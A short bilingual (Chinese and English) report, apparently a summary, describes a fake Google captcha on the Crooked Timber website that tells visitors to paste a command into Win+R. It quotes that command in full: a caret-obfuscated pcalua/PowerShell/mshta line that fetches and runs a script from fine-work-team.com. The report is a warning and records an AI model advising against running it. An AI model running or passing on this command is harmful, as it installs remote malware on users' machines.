访问Crooked Timber网站的用户遭遇了一次网络钓鱼攻击1。该恶意页面伪装成Google验证码的形式，试图诱导用户执行含有PowerShell命令的脚本1。
该恶意页面声称需要用户按下Win+R和Ctrl+V组合键来运行命令以验证是否为真人1。其中的PowerShell命令旨在从远程URL（fine-work-team.com）下载并执行恶意脚本，具体命令为"pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^/^/fine-work-team.com/6272' -Wi Hi""1。用户及时识别了这一威胁并向大语言模型咨询，后者明确建议不要运行该命令1。
A visitor to the Crooked Timber website encountered a fraudulent verification page designed to deceive users into executing malicious code 1. The fake captcha mimicked Google's authentication interface and instructed users to press Win+R and paste a command to verify they were human 1.
The command in question contained encoded PowerShell instructions intended to download and execute a script from the remote server fine-work-team.com 1. Specifically, the malicious payload read: "pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^/^/fine-work-team.com/6272' -Wi Hi"" 1. The user recognized the threat, consulted an AI language model for guidance, and did not execute the command 1. When advised about the nature of the code, the language model strongly warned against running it 1.
评论
还没有评论，欢迎留下第一条。